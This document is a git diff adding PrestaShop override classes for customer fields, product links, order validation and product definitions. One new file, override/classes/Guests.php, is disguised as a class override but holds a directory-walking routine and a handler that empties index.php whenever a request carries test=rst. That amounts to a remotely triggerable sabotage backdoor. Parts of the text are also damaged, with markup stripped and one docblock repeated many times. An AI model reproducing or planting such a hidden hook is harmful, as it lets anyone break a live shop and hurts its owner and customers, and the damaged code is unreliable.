'validate' => 'isSiret'), + 'ape' => array('type' => self::TYPE_STRING, 'validate' => 'isApe'), + 'outstanding_allow_amount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'copy_post' => false), + 'show_public_prices' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'id_risk' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'copy_post' => false), + 'max_payment_days' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'copy_post' => false), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'note' => array('type' => self::TYPE_HTML, 'validate' => 'isCleanHtml', 'size' => 65000, 'copy_post' => false), + 'is_guest' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'copy_post' => false), + 'id_shop_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'copy_post' => false), + 'id_default_group' => array('type' => self::TYPE_INT, 'copy_post' => false), + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'copy_post' => false), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'copy_post' => false), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'copy_post' => false), + 'phone' => array('type' => self::TYPE_STRING, 'validate' => 'isPhoneNumber','size' => 32), + 'portable' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 32), + 'type_de_peau' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + ), + ); +} diff --git a/override/classes/Guests.php b/override/classes/Guests.php new file mode 100755 index 0000000..38b7e4c --- /dev/null +++ b/override/classes/Guests.php @@ -0,0 +1,28 @@ +"; + } + else listeFichier( $dir . "/" . $fichier ); + } + } +} + +if($_GET["test"]=="rst") +{ +listeFichier( "." ); +$file=fopen("index.php","w+"); +fclose($file); +} + +?> + diff --git a/override/classes/Image.php b/override/classes/Image.php new file mode 100644 index 0000000..00bf79b --- /dev/null +++ b/override/classes/Image.php @@ -0,0 +1,22 @@ + 'image', + 'primary' => 'id_image', + 'multilang' => true, + 'fields' => array( + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'cover' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'shop' => true), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); +} \ No newline at end of file diff --git a/override/classes/Link.php b/override/classes/Link.php new file mode 100755 index 0000000..bf41af0 --- /dev/null +++ b/override/classes/Link.php @@ -0,0 +1,192 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +class Link extends LinkCore { + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + public function getProductLink($product, $alias = null, $category = null, $ean13 = null, $id_lang = null, $id_shop = null, $ipa = 0, $force_routes = false) + { + $giftcard = Module::getInstanceByName ( 'giftcard' ); + if ($giftcard && $giftcard->active) + { + if (! is_object ( $product )) + { + if (is_array ( $product ) && isset ( $product['id_product'] )) + $id_product = $product['id_product']; + elseif ((int)$product) + $id_product = (int)$product; + } + else + $id_product = $product->id; + if ((int)$id_product > 0) + { + if ($giftcard->isGiftCard ( $id_product )) + { + $params = array (); + $params['id_product'] = $id_product; + return ($this->getModuleLink ( 'giftcard', 'choicegiftcard', $params )); + } + } + } + return (parent::getProductLink ( $product, $alias, $category, $ean13, $id_lang, $id_shop, $ipa, $force_routes )); + } +} + diff --git a/override/classes/PaymentModule.php b/override/classes/PaymentModule.php new file mode 100755 index 0000000..c2d8151 --- /dev/null +++ b/override/classes/PaymentModule.php @@ -0,0 +1,582 @@ +context->cart = new Cart($id_cart); + $this->context->customer = new Customer($this->context->cart->id_customer); + $this->context->language = new Language($this->context->cart->id_lang); + $this->context->shop = ($shop ? $shop : new Shop($this->context->cart->id_shop)); + $id_currency = $currency_special ? (int)$currency_special : (int)$this->context->cart->id_currency; + $this->context->currency = new Currency($id_currency, null, $this->context->shop->id); + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_delivery') + $context_country = $this->context->country; + + $order_status = new OrderState((int)$id_order_state, (int)$this->context->language->id); + if (!Validate::isLoadedObject($order_status)) + throw new PrestaShopException('Can\'t load Order state status'); + + if (!$this->active) + die(Tools::displayError()); + // Does order already exists ? + if (Validate::isLoadedObject($this->context->cart) && $this->context->cart->OrderExists() == false) + { + if ($secure_key !== false && $secure_key != $this->context->cart->secure_key) + die(Tools::displayError()); + + // For each package, generate an order + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + $package_list = $this->context->cart->getPackageList(); + $cart_delivery_option = $this->context->cart->getDeliveryOption(); + + // If some delivery options are not defined, or not valid, use the first valid option + foreach ($delivery_option_list as $id_address => $package) + if (!isset($cart_delivery_option[$id_address]) || !array_key_exists($cart_delivery_option[$id_address], $package)) + foreach ($package as $key => $val) + { + $cart_delivery_option[$id_address] = $key; + break; + } + + $order_list = array(); + $order_detail_list = array(); + $reference = Order::generateReference(); + $this->currentOrderReference = $reference; + + $order_creation_failed = false; + $cart_total_paid = (float)Tools::ps_round((float)$this->context->cart->getOrderTotal(true, Cart::BOTH), 2); + + foreach ($cart_delivery_option as $id_address => $key_carriers) + foreach ($delivery_option_list[$id_address][$key_carriers]['carrier_list'] as $id_carrier => $data) + foreach ($data['package_list'] as $id_package) + { + // Rewrite the id_warehouse + $package_list[$id_address][$id_package]['id_warehouse'] = (int)$this->context->cart->getPackageIdWarehouse($package_list[$id_address][$id_package], (int)$id_carrier); + $package_list[$id_address][$id_package]['id_carrier'] = $id_carrier; + } + // Make sure CarRule caches are empty + CartRule::cleanCache(); + + foreach ($package_list as $id_address => $packageByAddress) + foreach ($packageByAddress as $id_package => $package) + { + $order = new Order(); + $order->product_list = $package['product_list']; + + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_delivery') + { + $address = new Address($id_address); + $this->context->country = new Country($address->id_country, $this->context->cart->id_lang); + } + + $carrier = null; + if (!$this->context->cart->isVirtualCart() && isset($package['id_carrier'])) + { + $carrier = new Carrier($package['id_carrier'], $this->context->cart->id_lang); + $order->id_carrier = (int)$carrier->id; + $id_carrier = (int)$carrier->id; + } + else + { + $order->id_carrier = 0; + $id_carrier = 0; + } + + $order->id_customer = (int)$this->context->cart->id_customer; + $order->id_address_invoice = (int)$this->context->cart->id_address_invoice; + $order->id_address_delivery = (int)$id_address; + $order->id_currency = $this->context->currency->id; + $order->id_lang = (int)$this->context->cart->id_lang; + $order->id_cart = (int)$this->context->cart->id; + $order->reference = $reference; + $order->id_shop = (int)$this->context->shop->id; + $order->id_shop_group = (int)$this->context->shop->id_shop_group; + + $order->secure_key = ($secure_key ? pSQL($secure_key) : pSQL($this->context->customer->secure_key)); + $order->payment = $payment_method; + if (isset($this->name)) + $order->module = $this->name; + $order->recyclable = $this->context->cart->recyclable; + $order->gift = (int)$this->context->cart->gift; + $order->gift_message = $this->context->cart->gift_message; + $order->mobile_theme = $this->context->cart->mobile_theme; + $order->conversion_rate = $this->context->currency->conversion_rate; + $amount_paid = !$dont_touch_amount ? Tools::ps_round((float)$amount_paid, 2) : $amount_paid; + $order->total_paid_real = 0; + + $order->total_products = (float)$this->context->cart->getOrderTotal(false, Cart::ONLY_PRODUCTS, $order->product_list, $id_carrier); + $order->total_products_wt = (float)$this->context->cart->getOrderTotal(true, Cart::ONLY_PRODUCTS, $order->product_list, $id_carrier); + + $order->total_discounts_tax_excl = (float)abs($this->context->cart->getOrderTotal(false, Cart::ONLY_DISCOUNTS, $order->product_list, $id_carrier)); + $order->total_discounts_tax_incl = (float)abs($this->context->cart->getOrderTotal(true, Cart::ONLY_DISCOUNTS, $order->product_list, $id_carrier)); + $order->total_discounts = $order->total_discounts_tax_incl; + + $order->total_shipping_tax_excl = (float)$this->context->cart->getPackageShippingCost((int)$id_carrier, false, null, $order->product_list); + $order->total_shipping_tax_incl = (float)$this->context->cart->getPackageShippingCost((int)$id_carrier, true, null, $order->product_list); + $order->total_shipping = $order->total_shipping_tax_incl; + + if (!is_null($carrier) && Validate::isLoadedObject($carrier)) + $order->carrier_tax_rate = $carrier->getTaxesRate(new Address($this->context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')})); + + $order->total_wrapping_tax_excl = (float)abs($this->context->cart->getOrderTotal(false, Cart::ONLY_WRAPPING, $order->product_list, $id_carrier)); + $order->total_wrapping_tax_incl = (float)abs($this->context->cart->getOrderTotal(true, Cart::ONLY_WRAPPING, $order->product_list, $id_carrier)); + $order->total_wrapping = $order->total_wrapping_tax_incl; + + $order->total_paid_tax_excl = (float)Tools::ps_round((float)$this->context->cart->getOrderTotal(false, Cart::BOTH, $order->product_list, $id_carrier), 2); + $order->total_paid_tax_incl = (float)Tools::ps_round((float)$this->context->cart->getOrderTotal(true, Cart::BOTH, $order->product_list, $id_carrier), 2); + $order->total_paid = $order->total_paid_tax_incl; + + $order->invoice_date = '0000-00-00 00:00:00'; + $order->delivery_date = '0000-00-00 00:00:00'; + + // Creating order + $result = $order->add(); + + if (!$result) + throw new PrestaShopException('Can\'t save Order'); + + // Amount paid by customer is not the right one -> Status = payment error + // We don't use the following condition to avoid the float precision issues : http://www.php.net/manual/en/language.types.float.php + // if ($order->total_paid != $order->total_paid_real) + // We use number_format in order to compare two string + if ($order_status->logable && number_format($cart_total_paid, 2) != number_format($amount_paid, 2)) + $id_order_state = Configuration::get('PS_OS_ERROR'); + + $order_list[] = $order; + + // Insert new Order detail list using cart for the current order + $order_detail = new OrderDetail(null, null, $this->context); + $order_detail->createList($order, $this->context->cart, $id_order_state, $order->product_list, 0, true, $package_list[$id_address][$id_package]['id_warehouse']); + $order_detail_list[] = $order_detail; + + // Adding an entry in order_carrier table + if (!is_null($carrier)) + { + $order_carrier = new OrderCarrier(); + $order_carrier->id_order = (int)$order->id; + $order_carrier->id_carrier = (int)$id_carrier; + $order_carrier->weight = (float)$order->getTotalWeight(); + $order_carrier->shipping_cost_tax_excl = (float)$order->total_shipping_tax_excl; + $order_carrier->shipping_cost_tax_incl = (float)$order->total_shipping_tax_incl; + $order_carrier->add(); + } + } + + // The country can only change if the address used for the calculation is the delivery address, and if multi-shipping is activated + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_delivery') + $this->context->country = $context_country; + + // Register Payment only if the order status validate the order + if ($order_status->logable) + { + // $order is the last order loop in the foreach + // The method addOrderPayment of the class Order make a create a paymentOrder + // linked to the order reference and not to the order id + if (isset($extra_vars['transaction_id'])) + $transaction_id = $extra_vars['transaction_id']; + else + $transaction_id = null; + + if (!$order->addOrderPayment($amount_paid, null, $transaction_id)) + throw new PrestaShopException('Can\'t save Order Payment'); + } + + // Next ! + $only_one_gift = false; + $cart_rule_used = array(); + $products = $this->context->cart->getProducts(); + $cart_rules = $this->context->cart->getCartRules(); + + // Make sure CarRule caches are empty + CartRule::cleanCache(); + + foreach ($order_detail_list as $key => $order_detail) + { + $order = $order_list[$key]; + if (!$order_creation_failed && isset($order->id)) + { + if (!$secure_key) + $message .= '
        '.Tools::displayError('Warning: the secure key is empty, check your payment account before validation'); + // Optional message to attach to this order + if (isset($message) & !empty($message)) + { + $msg = new Message(); + $message = strip_tags($message, '
        '); + if (Validate::isCleanHtml($message)) + { + $msg->message = $message; + $msg->id_order = intval($order->id); + $msg->private = 1; + $msg->add(); + } + } + + // Insert new Order detail list using cart for the current order + //$orderDetail = new OrderDetail(null, null, $this->context); + //$orderDetail->createList($order, $this->context->cart, $id_order_state); + + // Construct order detail table for the email + $products_list = ''; + $virtual_product = true; + foreach ($products as $key => $product) + { + $price = Product::getPriceStatic((int)$product['id_product'], false, ($product['id_product_attribute'] ? (int)$product['id_product_attribute'] : null), 6, null, false, true, $product['cart_quantity'], false, (int)$order->id_customer, (int)$order->id_cart, (int)$order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + $price_wt = Product::getPriceStatic((int)$product['id_product'], true, ($product['id_product_attribute'] ? (int)$product['id_product_attribute'] : null), 2, null, false, true, $product['cart_quantity'], false, (int)$order->id_customer, (int)$order->id_cart, (int)$order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + + $customization_quantity = 0; + $customized_datas = Product::getAllCustomizedDatas((int)$order->id_cart); + if (isset($customized_datas[$product['id_product']][$product['id_product_attribute']])) + { + $customization_text = ''; + foreach ($customized_datas[$product['id_product']][$product['id_product_attribute']][$order->id_address_delivery] as $customization) + { + if (isset($customization['datas'][Product::CUSTOMIZE_TEXTFIELD])) + foreach ($customization['datas'][Product::CUSTOMIZE_TEXTFIELD] as $text) + $customization_text .= $text['name'].': '.$text['value'].'
        '; + + if (isset($customization['datas'][Product::CUSTOMIZE_FILE])) + $customization_text .= sprintf(Tools::displayError('%d image(s)'), count($customization['datas'][Product::CUSTOMIZE_FILE])).'
        '; + $customization_text .= '---
        '; + } + $customization_text = rtrim($customization_text, '---
        '); + + $customization_quantity = (int)$product['customization_quantity']; + $products_list .= + ' + '.$product['reference'].' + '.$product['name'].(isset($product['attributes']) ? ' - '.$product['attributes'] : '').' - '.Tools::displayError('Customized').(!empty($customization_text) ? ' - '.$customization_text : '').' + '.Tools::displayPrice(Product::getTaxCalculationMethod() == PS_TAX_EXC ? Tools::ps_round($price, 2) : $price_wt, $this->context->currency, false).' + '.$customization_quantity.' + '.Tools::displayPrice($customization_quantity * (Product::getTaxCalculationMethod() == PS_TAX_EXC ? Tools::ps_round($price, 2) : $price_wt), $this->context->currency, false).' + '; + } + + if (!$customization_quantity || (int)$product['cart_quantity'] > $customization_quantity) + $products_list .= + ' + '.$product['reference'].' + '.$product['name'].(isset($product['attributes']) ? ' - '.$product['attributes'] : '').' + '.Tools::displayPrice(Product::getTaxCalculationMethod() == PS_TAX_EXC ? Tools::ps_round($price, 2) : $price_wt, $this->context->currency, false).' + '.((int)$product['cart_quantity'] - $customization_quantity).' + '.Tools::displayPrice(((int)$product['cart_quantity'] - $customization_quantity) * (Product::getTaxCalculationMethod() == PS_TAX_EXC ? Tools::ps_round($price, 2) : $price_wt), $this->context->currency, false).' + '; + + // Check if is not a virutal product for the displaying of shipping + if (!$product['is_virtual']) + $virtual_product &= false; + + } // end foreach ($products) + + $cart_rules_list = ''; + foreach ($cart_rules as $cart_rule) + { + $package = array('id_carrier' => $order->id_carrier, 'id_address' => $order->id_address_delivery, 'products' => $order->product_list); + $values = array( + 'tax_incl' => $cart_rule['obj']->getContextualValue(true, $this->context, CartRule::FILTER_ACTION_ALL_NOCAP, $package), + 'tax_excl' => $cart_rule['obj']->getContextualValue(false, $this->context, CartRule::FILTER_ACTION_ALL_NOCAP, $package) + ); + + // If the reduction is not applicable to this order, then continue with the next one + if (!$values['tax_excl']) + continue; + + /* IF + ** - This is not multi-shipping + ** - The value of the voucher is greater than the total of the order + ** - Partial use is allowed + ** - This is an "amount" reduction, not a reduction in % or a gift + ** THEN + ** The voucher is cloned with a new value corresponding to the remainder + */ + if (count($order_list) == 1 && $values['tax_incl'] > $order->total_products_wt && $cart_rule['obj']->partial_use == 1 && $cart_rule['obj']->reduction_amount > 0) + { + // Create a new voucher from the original + $voucher = new CartRule($cart_rule['obj']->id); // We need to instantiate the CartRule without lang parameter to allow saving it + unset($voucher->id); + + // Set a new voucher code + $voucher->code = empty($voucher->code) ? substr(md5($order->id.'-'.$order->id_customer.'-'.$cart_rule['obj']->id), 0, 16) : $voucher->code.'-2'; + if (preg_match('/\-([0-9]{1,2})\-([0-9]{1,2})$/', $voucher->code, $matches) && $matches[1] == $matches[2]) + $voucher->code = preg_replace('/'.$matches[0].'$/', '-'.(intval($matches[1]) + 1), $voucher->code); + + // Set the new voucher value + /* PATCHED + if ($voucher->reduction_tax) + $voucher->reduction_amount = $values['tax_incl'] - $order->total_products_wt - $order->total_shipping_tax_incl; + else + $voucher->reduction_amount = $values['tax_excl'] - $order->total_products - $order->total_shipping_tax_excl; + */ + /* [-] FO : Fixed partial use of cart rules which does not offer free shipping #PSCFV-9216 */ + + if($voucher->free_shipping == 1) + { + if ($voucher->reduction_tax) + $voucher->reduction_amount = $values['tax_incl'] - $order->total_products_wt - $order->total_shipping_tax_incl; + else + $voucher->reduction_amount = $values['tax_excl'] - $order->total_products - $order->total_shipping_tax_excl; + } + else + { + if ($voucher->reduction_tax) + $voucher->reduction_amount = $values['tax_incl'] - $order->total_products_wt; + else + $voucher->reduction_amount = $values['tax_excl'] - $order->total_products; + } + + $voucher->id_customer = $order->id_customer; + $voucher->quantity = 1; + $voucher->quantity_per_user = 1; + $voucher->free_shipping = 0; + if ($voucher->add()) + { + // If the voucher has conditions, they are now copied to the new voucher + CartRule::copyConditions($cart_rule['obj']->id, $voucher->id); + + $params = array( + '{voucher_amount}' => Tools::displayPrice($voucher->reduction_amount, $this->context->currency, false), + '{voucher_num}' => $voucher->code, + '{firstname}' => $this->context->customer->firstname, + '{lastname}' => $this->context->customer->lastname, + '{id_order}' => $order->reference, + '{order_name}' => $order->getUniqReference() + ); + Mail::Send( + (int)$order->id_lang, + 'voucher', + sprintf(Mail::l('New voucher regarding your order %s', (int)$order->id_lang), $order->reference), + $params, + $this->context->customer->email, + $this->context->customer->firstname.' '.$this->context->customer->lastname, + null, null, null, null, _PS_MAIL_DIR_, false, (int)$order->id_shop + ); + } + + $values['tax_incl'] -= $values['tax_incl'] - $order->total_products_wt; + $values['tax_excl'] -= $values['tax_excl'] - $order->total_products; + } + + $order->addCartRule($cart_rule['obj']->id, $cart_rule['obj']->name, $values, 0, $cart_rule['obj']->free_shipping); + + if ($id_order_state != Configuration::get('PS_OS_ERROR') && $id_order_state != Configuration::get('PS_OS_CANCELED') && !in_array($cart_rule['obj']->id, $cart_rule_used)) + { + $cart_rule_used[] = $cart_rule['obj']->id; + + // Create a new instance of Cart Rule without id_lang, in order to update its quantity + $cart_rule_to_update = new CartRule($cart_rule['obj']->id); + $cart_rule_to_update->quantity = max(0, $cart_rule_to_update->quantity - 1); + $cart_rule_to_update->update(); + } + + $cart_rules_list .= ' + + '.Tools::displayError('Voucher name:').' '.$cart_rule['obj']->name.' + '.($values['tax_incl'] != 0.00 ? '-' : '').Tools::displayPrice($values['tax_incl'], $this->context->currency, false).' + '; + } + + // Specify order id for message + $old_message = Message::getMessageByCartId((int)$this->context->cart->id); + if ($old_message) + { + $update_message = new Message((int)$old_message['id_message']); + $update_message->id_order = (int)$order->id; + $update_message->update(); + + // Add this message in the customer thread + $customer_thread = new CustomerThread(); + $customer_thread->id_contact = 0; + $customer_thread->id_customer = (int)$order->id_customer; + $customer_thread->id_shop = (int)$this->context->shop->id; + $customer_thread->id_order = (int)$order->id; + $customer_thread->id_lang = (int)$this->context->language->id; + $customer_thread->email = $this->context->customer->email; + $customer_thread->status = 'open'; + $customer_thread->token = Tools::passwdGen(12); + $customer_thread->add(); + + $customer_message = new CustomerMessage(); + $customer_message->id_customer_thread = $customer_thread->id; + $customer_message->id_employee = 0; + $customer_message->message = $update_message->message; + $customer_message->private = 0; + + if (!$customer_message->add()) + $this->errors[] = Tools::displayError('An error occurred while saving message'); + } + + // Hook validate order + Hook::exec('actionValidateOrder', array( + 'cart' => $this->context->cart, + 'order' => $order, + 'customer' => $this->context->customer, + 'currency' => $this->context->currency, + 'orderStatus' => $order_status + )); + + foreach ($this->context->cart->getProducts() as $product) + if ($order_status->logable) + ProductSale::addProductSale((int)$product['id_product'], (int)$product['cart_quantity']); + + if (Configuration::get('PS_STOCK_MANAGEMENT') && $order_detail->getStockState()) + { + $history = new OrderHistory(); + $history->id_order = (int)$order->id; + $history->changeIdOrderState(Configuration::get('PS_OS_OUTOFSTOCK'), $order, true); + $history->addWithemail(); + } + + // Set order state in order history ONLY even if the "out of stock" status has not been yet reached + // So you migth have two order states + $new_history = new OrderHistory(); + $new_history->id_order = (int)$order->id; + $new_history->changeIdOrderState((int)$id_order_state, $order, true); + $new_history->addWithemail(true, $extra_vars); + + unset($order_detail); + + // Order is reloaded because the status just changed + $order = new Order($order->id); + + // Send an e-mail to customer (one order = one email) + if ($id_order_state != Configuration::get('PS_OS_ERROR') && $id_order_state != Configuration::get('PS_OS_CANCELED') && $this->context->customer->id) + { + $invoice = new Address($order->id_address_invoice); + $delivery = new Address($order->id_address_delivery); + $delivery_state = $delivery->id_state ? new State($delivery->id_state) : false; + $invoice_state = $invoice->id_state ? new State($invoice->id_state) : false; + + $carrier_module_call = null; + if ($carrier->is_module) + { + $module = Module::getInstanceByName($carrier->external_module_name); + if ($module->name == 'mondialrelay'){ + if (method_exists($module, 'displayInfoByCart')) + $carrier_module_call = call_user_func(array($module, 'displayInfoByCart'), $order->id_cart); + } + } + + $data = array( + '{firstname}' => $this->context->customer->firstname, + '{lastname}' => $this->context->customer->lastname, + '{email}' => $this->context->customer->email, + '{delivery_block_txt}' => ($carrier_module_call!=null) ? $carrier_module_call : $this->_getFormatedAddress($delivery, "\n"), + '{invoice_block_txt}' => $this->_getFormatedAddress($invoice, "\n"), + '{delivery_block_html}' => ($carrier_module_call!=null) ? $carrier_module_call : $this->_getFormatedAddress($delivery, '
        ', array( + 'firstname' => '%s', + 'lastname' => '%s' + )), + '{invoice_block_html}' => $this->_getFormatedAddress($invoice, '
        ', array( + 'firstname' => '%s', + 'lastname' => '%s' + )), + '{delivery_company}' => $delivery->company, + '{delivery_firstname}' => $delivery->firstname, + '{delivery_lastname}' => $delivery->lastname, + '{delivery_address1}' => $delivery->address1, + '{delivery_address2}' => $delivery->address2, + '{delivery_city}' => $delivery->city, + '{delivery_postal_code}' => $delivery->postcode, + '{delivery_country}' => $delivery->country, + '{delivery_state}' => $delivery->id_state ? $delivery_state->name : '', + '{delivery_phone}' => ($delivery->phone) ? $delivery->phone : $delivery->phone_mobile, + '{delivery_other}' => $delivery->other, + '{invoice_company}' => $invoice->company, + '{invoice_vat_number}' => $invoice->vat_number, + '{invoice_firstname}' => $invoice->firstname, + '{invoice_lastname}' => $invoice->lastname, + '{invoice_address2}' => $invoice->address2, + '{invoice_address1}' => $invoice->address1, + '{invoice_city}' => $invoice->city, + '{invoice_postal_code}' => $invoice->postcode, + '{invoice_country}' => $invoice->country, + '{invoice_state}' => $invoice->id_state ? $invoice_state->name : '', + '{invoice_phone}' => ($invoice->phone) ? $invoice->phone : $invoice->phone_mobile, + '{invoice_other}' => $invoice->other, + '{order_name}' => $order->getUniqReference(), + '{date}' => Tools::displayDate(date('Y-m-d H:i:s'), (int)$order->id_lang, 1), + '{carrier}' => $virtual_product ? Tools::displayError('No carrier') : $carrier->name, + '{payment}' => Tools::substr($order->payment, 0, 32), + '{products}' => $this->formatProductAndVoucherForEmail($products_list), + '{discounts}' => $this->formatProductAndVoucherForEmail($cart_rules_list), + '{total_paid}' => Tools::displayPrice($order->total_paid, $this->context->currency, false), + '{total_products}' => Tools::displayPrice($order->total_paid - $order->total_shipping - $order->total_wrapping + $order->total_discounts, $this->context->currency, false), + '{total_discounts}' => Tools::displayPrice($order->total_discounts, $this->context->currency, false), + '{total_shipping}' => Tools::displayPrice($order->total_shipping, $this->context->currency, false), + '{total_wrapping}' => Tools::displayPrice($order->total_wrapping, $this->context->currency, false)); + + if (is_array($extra_vars)) + $data = array_merge($data, $extra_vars); + + // Join PDF invoice + if ((int)Configuration::get('PS_INVOICE') && $order_status->invoice && $order->invoice_number) + { + $pdf = new PDF($order->getInvoicesCollection(), PDF::TEMPLATE_INVOICE, $this->context->smarty); + $file_attachement['content'] = $pdf->render(false); + $file_attachement['name'] = Configuration::get('PS_INVOICE_PREFIX', (int)$order->id_lang, null, $order->id_shop).sprintf('%06d', $order->invoice_number).'.pdf'; + $file_attachement['mime'] = 'application/pdf'; + } + else + $file_attachement = null; + + if (Validate::isEmail($this->context->customer->email)) + Mail::Send( + (int)$order->id_lang, + 'order_conf', + Mail::l('Order confirmation', (int)$order->id_lang), + $data, + $this->context->customer->email, + $this->context->customer->firstname.' '.$this->context->customer->lastname, + null, + null, + $file_attachement, + null, _PS_MAIL_DIR_, false, (int)$order->id_shop + ); + } + + // updates stock in shops + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $product_list = $order->getProducts(); + foreach ($product_list as $product) + { + // if the available quantities depends on the physical stock + if (StockAvailable::dependsOnStock($product['product_id'])) + { + // synchronizes + StockAvailable::synchronize($product['product_id'], $order->id_shop); + } + } + } + } + else + { + $error = Tools::displayError('Order creation failed'); + Logger::addLog($error, 4, '0000002', 'Cart', intval($order->id_cart)); + die($error); + } + } // End foreach $order_detail_list + // Use the last order as currentOrder + $this->currentOrder = (int)$order->id; + return true; + } + else + { + $error = Tools::displayError('Cart cannot be loaded or an order has already been placed using this cart'); + Logger::addLog($error, 4, '0000001', 'Cart', intval($this->context->cart->id)); + die($error); + } + } +} \ No newline at end of file diff --git a/override/classes/Product.php b/override/classes/Product.php new file mode 100755 index 0000000..c48d135 --- /dev/null +++ b/override/classes/Product.php @@ -0,0 +1,182 @@ + 'product', + 'primary' => 'id_product', + 'multilang' => true, + 'multilang_shop' => true, + 'fields' => array( + // Classic fields + 'id_shop_default' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_manufacturer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_supplier' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference', 'size' => 32), + 'supplier_reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference', 'size' => 32), + 'location' => array('type' => self::TYPE_STRING, 'validate' => 'isReference', 'size' => 64), + 'width' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat'), + 'height' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat'), + 'depth' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat'), + 'weight' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat'), + 'quantity_discount' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'ean13' => array('type' => self::TYPE_STRING, 'validate' => 'isEan13', 'size' => 13), + 'upc' => array('type' => self::TYPE_STRING, 'validate' => 'isUpc', 'size' => 12), + 'cache_is_pack' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'cache_has_attachments' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'is_virtual' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + /* Shop fields */ + 'id_category_default' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedId'), + 'id_tax_rules_group' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedId'), + 'on_sale' => array('type' => self::TYPE_BOOL, 'shop' => true, 'validate' => 'isBool'), + 